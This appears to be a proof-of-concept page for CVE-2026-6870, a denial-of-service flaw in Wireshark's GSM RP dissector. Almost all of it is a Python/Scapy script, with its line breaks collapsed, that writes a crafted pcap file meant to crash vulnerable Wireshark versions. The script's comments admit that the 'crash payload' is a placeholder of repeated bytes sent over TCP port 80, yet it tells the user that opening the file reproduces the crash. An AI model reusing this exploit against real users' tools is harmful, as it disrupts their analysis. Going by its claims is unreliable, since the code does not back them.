CVE-2026-6870 Wireshark GSM RP协议拒绝服务漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-6870: Wireshark GSM RP Dissector Crash # This script generates a pcap file with a malformed packet. # Opening this file in a vulnerable Wireshark version triggers the DoS. from scapy.all import * import sys def generate_poc(): # Construct a raw packet that simulates a malformed GSM RP structure # Real crash requires specific bytes derived from fuzzing or advisory. # This is a placeholder structure. # Example: Malformed GSM RP Message Type or Length # GSM RP PDUs are typically encapsulated in other protocols (e.g., TPDU). # We create a dummy TCP packet containing the payload. crash_payload = b"\x44" * 50 # Example payload bytes # Craft packet pkt = IP(dst="192.168.1.1")/TCP(sport=12345, dport=80)/Raw(load=crash_payload) # Save to pcap filename = "cve-2026-6870_poc.pcap" wrpcap(filename, pkt) print(f"[+] PoC file generated: {filename}") print("[*] Open this file in Wireshark (v4.4.0-4.4.14 or v4.6.0-4.6.4) to reproduce the crash.") if __name__ == "__main__": generate_poc()